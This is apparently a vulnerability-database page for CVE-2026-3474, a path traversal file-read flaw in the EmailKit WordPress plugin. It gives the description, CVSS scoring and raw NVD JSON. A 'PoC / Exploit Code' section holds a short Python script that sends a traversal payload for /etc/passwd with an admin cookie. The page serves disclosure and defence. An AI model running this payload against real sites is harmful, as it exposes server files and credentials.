Security Vulnerability Report
中文
CVE-2026-3474 CVSS 4.9 MEDIUM

CVE-2026-3474

Published: 2026-03-21 00:16:28
Last Modified: 2026-04-22 21:32:08

Description

The EmailKit – Email Customizer for WooCommerce & WP plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 1.6.3. This is due to the action() function in the TemplateData class passing user-supplied input from the 'emailkit-editor-template' REST API parameter directly to file_get_contents() without any path validation, sanitization, or restriction to an allowed directory. This makes it possible for authenticated attackers, with Administrator-level access, to read arbitrary files on the server (such as /etc/passwd or wp-config.php) by supplying a traversal path. The file contents are stored as post meta and can subsequently be retrieved via the fetch-data REST API endpoint. Notably, the CheckForm class in the same plugin implements proper path validation using realpath() and directory restriction, demonstrating that the developer was aware of the risk but failed to apply the same protections to the TemplateData endpoint.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

EmailKit <= 1.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "http://target.com/wp-json/emailkit/v1/template-data" # Example endpoint auth_cookie = "wordpress_logged_in_admin_cookie_value" # Headers headers = { "Cookie": f"wordpress_logged_in_xxx={auth_cookie}" } # Payload for Path Traversal # Reading /etc/passwd data = { "emailkit-editor-template": "../../../../../../../../etc/passwd" } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, headers=headers, data=data) if response.status_code == 200: print("[+] Exploit successful! Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3474", "sourceIdentifier": "[email protected]", "published": "2026-03-21T00:16:28.207", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The EmailKit – Email Customizer for WooCommerce & WP plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 1.6.3. This is due to the action() function in the TemplateData class passing user-supplied input from the 'emailkit-editor-template' REST API parameter directly to file_get_contents() without any path validation, sanitization, or restriction to an allowed directory. This makes it possible for authenticated attackers, with Administrator-level access, to read arbitrary files on the server (such as /etc/passwd or wp-config.php) by supplying a traversal path. The file contents are stored as post meta and can subsequently be retrieved via the fetch-data REST API endpoint. Notably, the CheckForm class in the same plugin implements proper path validation using realpath() and directory restriction, demonstrating that the developer was aware of the risk but failed to apply the same protections to the TemplateData endpoint."}, {"lang": "es", "value": "El plugin EmailKit – Email Customizer for WooCommerce &amp; WP para WordPress es vulnerable a la lectura arbitraria de archivos a través de salto de ruta en todas las versiones hasta la 1.6.3, inclusive. Esto se debe a que la función action() en la clase TemplateData pasa la entrada proporcionada por el usuario del parámetro de la API REST 'emailkit-editor-template' directamente a file_get_contents() sin ninguna validación de ruta, saneamiento o restricción a un directorio permitido. Esto hace posible que atacantes autenticados, con acceso de nivel de Administrador, lean archivos arbitrarios en el servidor (como /etc /passwd o wp-config.php) al proporcionar una ruta de salto. El contenido del archivo se almacena como metadatos de publicación y posteriormente puede recuperarse a través del endpoint de la API REST fetch-data. Cabe destacar que la clase CheckForm en el mismo plugin implementa una validación de ruta adecuada utilizando realpath() y restricción de directorio, lo que demuestra que el desarrollador era consciente del riesgo pero no aplicó las mismas protecciones al endpoint TemplateData."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/emailkit/tags/1.6.2/includes/Admin/Api/TemplateData.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/emailkit/tags/1.6.2/includes/Admin/Api/TemplateData.php#L49", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/emailkit/tags/1.6.2/includes/Admin/Api/TemplateData.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/emailkit/trunk/includes/Admin/Api/TemplateData.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/emailkit/trunk/includes/Admin/Api/TemplateData.php#L49", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/emailkit/trunk/includes/Admin/Api/TemplateData.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3484455%40emailkit&new=3484455%40emailkit&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d8c11ebc-5c83-46a2-a8dd-b838cd50ddc6?source=cve", "source": "[email protected]"}]}}